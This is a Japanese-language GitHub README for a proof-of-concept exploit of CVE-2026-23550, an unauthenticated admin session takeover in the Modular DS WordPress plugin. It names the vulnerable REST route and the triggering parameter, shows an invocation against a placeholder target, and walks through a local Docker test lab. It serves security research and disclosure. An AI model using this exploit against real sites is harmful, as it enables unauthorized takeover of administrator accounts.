thetorjancaptain/cve-2026-23550-pocCVE-2026-23550 - Modular DS WordPress プラグイン **未認証の管理者アクセス**
概念実証（PoC） - CVE-2026-23550 を実証します。これは Modular DS WordPressプラグイン（バージョン≤2.5.1）における重大な認証なし管理者アカウント乗っ取りです。実環境で活発に悪用されています。
攻撃概要: /api/modular-connector/login の欠陥のあるREST APIルーティングが、origin=mo のときにWordPress認証をバイパスし、認証なしの管理者セッションCookieを発行します。
# 本番対応PoC
./CVE-2026-23550-PoC.sh http://target.com
[+] CVE-2026-23550 Modular Connector Exploit Test
[+] VULNERABLE: Admin session cookie issued
影響を受けるRESTエンドポイントは ?rest_route= メカニズム経由でのみアクセス可能です。/wp-json/ 経由の直接アクセスは利用できない場合があります。この脆弱性により、認証情報やnonce検証なしで認証なしアクセスが可能になります。WordPress管理者セッションCookieの発行に成功した場合、悪用の確認となります。この概念実証は管理操作を一切実行しません。テストにはModular DSバージョン2.5.0を使用しています。
mkdir -p ~/Desktop/CVE-2026-23550/cve-poc-wp
cd ~/Desktop/CVE-2026-23550/cve-poc-wp
version: "3.9"
services:
db:
image: mysql:8.0
restart: always
environment:
MYSQL_ROOT_PASSWORD: rootpass
MYSQL_DATABASE: wordpress
MYSQL_USER: wpuser
MYSQL_PASSWORD: wppass
volumes:
- db_data:/var/lib/mysql
wordpress:
image: wordpress:6.4.3-php8.2-apache
depends_on:
- db
ports:
- "8080:80"
restart: always
environment:
WORDPRESS_DB_HOST: db:3306
WORDPRESS_DB_USER: wpuser
WORDPRESS_DB_PASSWORD: wppass
WORDPRESS_DB_NAME: wordpress
volumes:
- wp_data:/var/www/html
volumes:
db_data:
wp_data:
docker compose up -d
docker compose logs -f db
「ready for connections」を待つ
curl http://localhost:8080/?rest_route=/
期待される出力:
{
"name": "...",
"namespaces": [...]
}
これが失敗した場合 → 停止、環境が壊れています。
wget https://downloads.wordpress.org/plugin/modular-connector.2.5.0.zip
unzip modular-connector.2.5.0.zip
WORDPRESS_ID=$(docker compose ps -q wordpress)
docker cp modular-connector "$WORDPRESS_ID":/var/www/html/wp-content/plugins/
docker exec "$WORDPRESS_ID" chown -R www-data:www-data \
/var/www/html/wp-content/plugins/modular-connector
chmod +x CVE-2026-23550-PoC.sh
./CVE-2026-23550-PoC.sh http://localhost:8080/
注: Cookieをテキストファイルに保存したい場合は、poc.shファイルから「rm -f "$COOKIE_JAR"」を削除してください。
MITライセンス - セキュリティ研究および許可されたペネトレーションテスト専用です。 悪意のある使用は禁止です。責任を持って開示してください。
このPoCは許可されたセキュリティテスト専用です。本番システムに対する不正使用は違法です。発見事項はプラグイン保守担当者に報告してください。